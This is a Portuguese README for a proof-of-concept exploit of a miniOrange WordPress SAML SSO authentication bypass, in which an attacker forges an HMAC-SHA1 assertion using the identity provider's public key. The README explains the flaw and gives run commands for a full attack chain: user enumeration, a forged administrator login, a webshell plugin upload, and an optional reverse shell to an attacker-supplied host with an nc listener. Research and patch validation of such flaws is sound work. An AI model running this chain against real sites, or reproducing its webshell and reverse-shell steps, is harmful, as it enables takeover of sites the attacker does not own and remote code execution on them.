CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 Bypass de Autenticação (PoC)

Prova de conceito para CVE-2026-15013: bypass de autenticação não autenticado via Confusão de Algoritmo de Assinatura SAML (HMAC-SHA1) no plugin WordPress SAML Single Sign On – SSO Login da miniOrange (versões até 5.4.3 inclusive).

Somente testes autorizados. Use este código apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar. O acesso não autorizado a sistemas de computador é ilegal.

Créditos

Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013

Causa raiz

Mo_SAML_Utilities::mo_saml_cast_key() confia no algoritmo SignatureMethod do SAMLResponse controlado pelo atacante. Quando definido como HMAC-SHA1, o plugin reinterpreta a chave pública RSA do IdP como um segredo compartilhado HMAC e verifica a assinatura com ele. Qualquer pessoa que consiga ler o certificado do IdP (frequentemente metadados públicos) pode forjar uma asserção válida para qualquer usuário WordPress existente, incluindo administradores.

Corrigido em 5.4.4+ (algoritmos inseguros / HMAC rejeitados).

CVSS

9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Requisitos

• Python 3.10+
• CLI openssl (para converter certificado em chave pública)
• Acesso de rede ao site WordPress alvo e, para busca automática de chave, ao descritor SAML do IdP

Instale as dependências:

pip install -r requirements.txt

Uso

Cadeia completa (enumeração, login HMAC, admin, webshell):

python3 exploit.py -u https://TARGET.example

Shell reverso opcional (inicie o listener primeiro: nc -lvnp 4444):

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

Somente login (sem shell):

python3 exploit.py -u https://TARGET.example --no-shell

Substituições manuais:

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

Argumentos

Fluxo

1. Detectar o WordPress e a versão do plugin (deve ser <= 5.4.3)
2. Descobrir ACS, entityID do SP, emissor do IdP
3. Obter o certificado de assinatura do IdP (metadados) e derivar a chave pública PEM (segredo HMAC)
4. Enumerar usuários do WordPress
5. Forjar SAMLResponse assinado com HMAC-SHA1 para cada usuário candidato
6. Selecionar conta com install_plugins (admin)
7. Enviar plugin webshell (exp/shell.php?c=id)
8. Shell reverso opcional via --lhost

Aviso legal

Este projeto é apenas para pesquisa educacional e de segurança autorizada. Os autores e colaboradores não são responsáveis pelo uso indevido. Sempre obtenha permissão por escrito antes de testar sistemas de terceiros. A vulnerabilidade original foi reportada por meio de divulgação responsável; este repositório apenas demonstra a reprodução para aprendizado e validação defensiva.

Referências

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• Correção do plugin: miniOrange SAML 5.4.4+

Licença

Para uso em pesquisa. Sem garantia.